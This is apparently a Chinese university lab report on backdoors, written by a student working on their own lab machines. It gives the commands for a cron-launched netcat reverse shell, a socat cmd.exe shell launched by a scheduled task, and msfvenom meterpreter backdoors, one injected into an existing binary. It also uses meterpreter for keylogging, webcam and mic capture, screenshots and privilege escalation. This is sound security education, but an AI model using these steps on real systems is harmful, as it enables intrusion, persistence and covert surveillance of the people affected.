1. 程式人生 > 其它 >20192408胡益琳 實驗二 後門原理與實踐實驗報告

20192408胡益琳 實驗二 後門原理與實踐實驗報告

實驗二 後門原理與實踐

1.實驗內容

  1. 使用netcat實現Linux cron啟動反彈連線到主機
  2. 使用socat實現Windows 任務計劃啟動反彈連線到Kali
  3. 使用MSF meterpreter生成可執行檔案,利用ncat傳送到主機並執行獲取主機Shell,實現音訊、攝像頭、擊鍵記錄等資訊的獲取
  4. 使用MSF生成shellcode注入pwn20192408.1,在目標主機執行並實現反彈連

2.實驗要求

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

  • 下載了帶有後門的安裝包,點選了釣魚連結,使用了帶有惡意程式的U盤,系統直接被攻擊。

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

  • win:任務計劃程式中增加定時任務
  • linux:cron定時任務
  • 開機自啟動技術
  • 與檔案或服務捆綁

(3)Meterpreter有哪些給你映像深刻的功能?

  • 可以使用簡單的命令生成各類後門檔案
  • 獲取攝像頭或者擊鍵記錄

(4)如何發現自己有系統有沒有被安裝後門?

  • 使用防毒軟體查殺,檢查檔案系統是否有異常,檢查CPU佔用率是否正常,檢視日誌與登錄檔等。

3.實驗過程

(1)任務一 使用netcat獲取主機操作Shell,cron啟動

  • cron是linux下用來週期性執行任務的程序
  • 格式如下:

f1 f2 f3 f4 f5 program
其中f1 是表示分鐘,f2 表示小時,f3 表示一個月份中的第幾日,f4 表示月份,f5 表示一個星期中的第幾天。program 表示要執行的程式。

首先用crontab -e 指令開啟cron編輯器,在其中增加一條定時任務。

在最後一行插入命令

*/1 * * * * /bin/netcat 192.168.56.1 4311 -e /bin/sh

表示每隔一分鐘進行一次反彈連線到192.168.56.1的4311埠的操作
修改完成後儲存並退出。可以使用crontab -l命令檢視配置。

然後在Windows中開啟監聽

ncat.exe -l 4311

等待1分鐘後反彈連線成功,執行指令pwd,顯示/root表示成功獲取Shell

(2)任務二 使用socat獲取主機操作Shell, 任務計劃啟動

  • 在Windows下,開啟控制面板>系統和安全>管理工具找到任務計劃程式,並建立任務
  • 觸發器選擇“工作站鎖定時”
  • 操作中的“程式與指令碼”選擇socat.exe所在路徑,新增引數tcp-listen:4311 exec:cmd.exe,pty,stderr 將cmd.exe繫結到埠4311。
  • 建立完成後,鎖屏並再次登入計算機,此時任務開始執行
  • 在Kali中輸入 socat -tcp:192.168.56.1:4311,獲取Shell成功。

(3)任務三 使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

  • 在Kali中使用如下命令生成20192408_backdoor.exe,其中192.168.190.128為虛擬機器的ip地址,埠號可以任意指定,但需要與以後步驟中的保持一致
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -f exe > 20192408_backdoor.exe
  • 在Windows下執行如下命令,表示進入接收模式
ncat.exe -l 2408 > 20192408_backdoor.exe
  • 同時在Kali內輸入如下命令,開始傳輸檔案。此處需要注意的是檔案傳輸結束後命令行內不會回顯資訊,可以用Ctrl+C手動終止
nc 192.168.56.1 2408 < 20192408_backdoor.exe


此時出現病毒檔案提示

手動將檔案恢復後,可以看到檔案傳輸成功

  • 在Kali內開啟監聽程序,按如下操作。
    use exploit/multi/handler //使用監聽模組,設定payload

    set payload windows/meterpreter/reverse_tcp //使用與生成後門程式時相同的payload

    set LHOST 192.168.190.128

    set LPORT 2408

    exploit //設定完成,開始監聽

注意此處set LHOST所設定的地址與set LPORT所設定的埠號需與前面生成20192408_backdoor.exe檔案時所使用的的保持一致。

  • 在Windows下點選20192408_backdoor.exe檔案執行
  • 監聽成功,Kali成功獲取被控機的Shell,此處用dir指令驗證,成功顯示Windows下的桌面目錄。

(4)使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 在監聽狀態下使用 help 命令可以看到meterpreter 的用法

1. 獲取音訊
命令如下:

record_mic


在相應的資料夾中看到了檔案內容

2. 獲取攝像頭

webcam_snap


照片檔案如下

3. 獲取視訊

webcam_stream


輸入命令後會跳出一個網頁實時顯示電腦攝像頭所拍攝的實時視訊,如圖

4. 獲取截圖

screenshot


截圖結果同樣出現在相應資料夾裡,如圖


5. 獲取擊鍵記錄

keyscan_start //開始獲取
keyscan_dump  //顯示開始後至此時主機的擊鍵記錄
keyscan_stop  //結束獲取

如圖,先輸入keyscan_start 開始獲取擊鍵記錄。然後再微信框中輸入字元,再在命令列中輸入keyscan_dump,其後便會顯示剛才輸入的字元。顯示完畢後輸入keyscan_stop結束捕捉。


6. 提權
先使用getuid指令檢視當前使用者,再使用getsystem指令提權,顯示Error。

原因是防毒軟體清除了相應dll檔案,手動將其恢復後提權成功。


(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

1. 使用如下指令將Shellcode注入到pwn20192408.1中生成exe檔案

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -x ./pwn20192408.1 -f elf > pwn20192408.4

其中按照msfvenom指令格式,linux/x86/meterpreter/reverse_tcp表示反彈連線攻擊者,併產生一個shell。由於pwn20192408.1為32位程式,所以採用linux/x86。LHOST與LPORT分別指明瞭Kali的ip地址和監聽所使用的埠號,-x ./pwn20192408.1表示將Shellcode注入到這個檔案中,-f elf指明瞭所生成檔案的格式。最終輸出檔案為pwn20192408.4

  1. 開啟另一個終端進行監聽。依次輸入的指令如下
    use exploit/multi/handler //使用監聽模組,設定payload

    set payload linux/x86/meterpreter/reverse_tcp //使用與生成後門程式時相同的payload

    set LHOST 192.168.190.128

    set LPORT 2408

    exploit //設定完成,開始監聽
  1. 在原來的終端內使用./pwn20192408.4執行生成的後門檔案,發現許可權不夠
  2. 使用chmod u+x * 在使用者許可權中新增執行許可權,再次執行pwn20192408.4,攻擊者終端中顯示監聽成功,輸入ls即可檢視當前目錄

4.問題及解決方案

  • 問題1:使用crontab -e編輯完畢後報如下錯誤
  • 問題1解決方案:對於cron指令格式掌握出錯,少輸了一個/1 * * * *表示每一分鐘執行一次。定時任務格式如下:

* *  *  *  *  command

分 時 日 月 周  命令

第1列表示分鐘1~59 每分鐘用*或者 */1表示
第2列表示小時1~23(0表示0點)
第3列表示日期1~31
第4列表示月份1~12
第5列標識號星期0~6(0表示星期天)
第6列要執行的命令

星號(*):代表所有可能的值,例如month欄位如果是星號,則表示在滿足其它欄位的制約條件後每月都執行該命令操作。
逗號(,):可以用逗號隔開的值指定一個列表範圍,例如,“1,2,5,7,8,9”。
中槓(-):可以用整數之間的中槓表示一個整數範圍,例如“2-6”表示“2,3,4,5,6”。
正斜線(/):可以用正斜線指定時間的間隔頻率,例如“0-23/2”表示每兩小時執行一次。同時正斜線可以和星號一起使用,例如*/10,如果用在minute欄位,表示每十分鐘執行一次。

  • 問題2:任務三中使用ncat將檔案從Kali傳送到Windows主機時誤以為傳送失敗
  • 問題2解決方案:用ncat傳送檔案結束時在命令列沒有訊息回顯,但可以在桌面上看到檔案,即事實上傳送成功了。可以使用Ctrl+C終止傳送。
  • 問題3:任務五執行生成的pwn20192408.4時顯示許可權不夠。
  • 問題3解決方案:使用chmod u+x * 授予使用者執行許可權,再次執行成功。

5.學習感悟與思考

本次實驗接觸到了很多新的工具,如ncat、socat、meterpreter等,通過實驗對這些工具有了初步瞭解,也體會到了他們功能的強大。通過實驗我瞭解到了通過反彈式連線可以更好地繞過防火牆,而啟動連線可以通過Windows的任務計劃程式或是Linux下的cron定時計劃等方式,同時也可以通過更為複雜的方式,例如和檔案捆綁、安裝為服務等,後者實現起來更為複雜但也更不易被發現。雖然在這次實驗中通過meterpreter成功生成了後門並實現了監聽,但是是在關閉了防毒軟體的基礎上,在以後的實驗中還要繼續實現免殺功能。